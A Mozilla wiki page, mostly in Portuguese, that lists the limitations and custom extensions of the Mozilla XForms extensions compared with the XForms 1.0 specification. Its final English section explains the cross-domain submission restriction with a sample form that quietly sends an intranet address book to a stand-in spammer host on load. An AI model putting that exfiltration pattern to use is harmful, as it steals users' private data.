Introdução
Este artigo fornece um resumo onde Extensões Mozilla XForms desvia XForms 1.0 Especificação oficial . Este artigo cobre tanto limitações nas extensões como extensões customizadas.
Limitações
Repetição usando atributos
De acordo com a especificação "Criando estruturas de repetição através de atributos", isto é parcialmente suportado.
(limitação acompanhada no {{ Bug("280368") }})
Mistura de Repetição e table
ou ul
Não é possível misturar repetições tanto com table
ou ul
. Isto significa que não é possível fazer o seguinte:
<table> <xf:repeat ...> <tr> ... </tr> </xf:repeat> </table>
ou
<ul> <xf:repeat ...> <li> ... </li> </xf:repeat> </ul>
Section 9.3.2 determina que a mistura com table
provávelmente nunca funcionará. A mistura com ul
pode sofrer a mesma limitação mas não deve travar o sistema ({{ Bug("330022") }}).
Suporte a pseudo classes
Atualmente suportamos todas as pseudo classes em XForms (:enabled, :disabled
, etc. ), exceto para :read-only
e :read-write
, por causa de comportamento não especificado destes para (X)HTML. No momento precisa usar :-moz-read-only
e :-moz-read-write
.
(limitação acompanhada no {{ Bug("313111") }})
Suporte a pseudo elemento
Não existe suporte para os pseudo elementos (::value, ::repeat-item, e ::repeat-index
). Você deve usar as seguintes classes normais:
-
xf-value
-
xf-repeat-item
-
xf-repeat-index
Por exemplo, para direcionar o elemento valor de um controle input
use:
@namespace xf url("https://www.w3.org/2002/xforms"); xf|input .xf-value { ... }
Os pseudo elementos são definidos na CSS3 Especificação básica de usuário .
(limitação acompanhada no {{ Bug("271724") }})
Extensões
Enumerando Instâncias
O nsIXFormsModelElement standardizado não permite enumerar todas as instâncias possíveis mas somente chamar instâncias pelo seu nome. No Extensões Mozilla XForms adicionamos a função getInstanceDocuments()
ao model
que retorna todos os documentos de instância do modelo. Isto encontra-se documentado no nsIXFormsNSModelElement.
Chegando ao elemento de instância a partir de um nó de dados
Na especificação XForms 1.0 não existe caminho de chegar ao elemento instance
desde um nó de dados de instância. Adicionamos uma função através de chamado getFeature()
em cada nó, que permite o autor do formulário a fazê-lo. Isto é, se instanceNode
é um nó num documento de instância, então:
instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
retornará elemento <instance>
(no documento principal) ao que o nó pertence.
Chegando ao documento de instância através do elemento de instância
Pela especificação XForms 1.0 deve passar pelo elemento model
para chegar ao documento de instância. Parece um pouco desajeitado se você tem o elemento instance
, então nós adicionamos uma função getInstanceDocument()
diretamente no elemento instance
como um atalho. Isso está documentado em nsIXFormsNSInstanceElement.
Interface de controle customizada
Nós adicinamos muitas funcionalidades à nossa interface de usuário que permitem aos tipos de autores criarem controles customizados. Isto envolve a exposição de algumas funcionalidades (script) em todos nossos controles, como output
, input
, etc. e permitindo à interface de usuário ser representada em XBL. Mais informação pode ser encontrada em Controles Customizados.
Misc
Cross Domain Submission
Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the Release Notes
The cross domain check also includes forms loaded from file://
. Forms loaded from that URL should be local files, and thus trusted, but it is not always the case. So there is not automatic "whitelisting" of local files.
If you are wondering why we have this restriction, here is a simple example of why:
<xforms:model> <xforms:instance src="https://intranetserver/addrbook.xml"/> <xforms:submission id="sub" action="https://megaspammer.com/gather" method="post"/> <xforms:send submission="sub" ev:event="xforms-ready"/> </xforms:model>
This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) https://intranetserver/addrbook.xml
, and send it to https://megaspammer.com/gather
as soon as you view the XForm.
Categorias
Interwiki Language Links
{{ languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}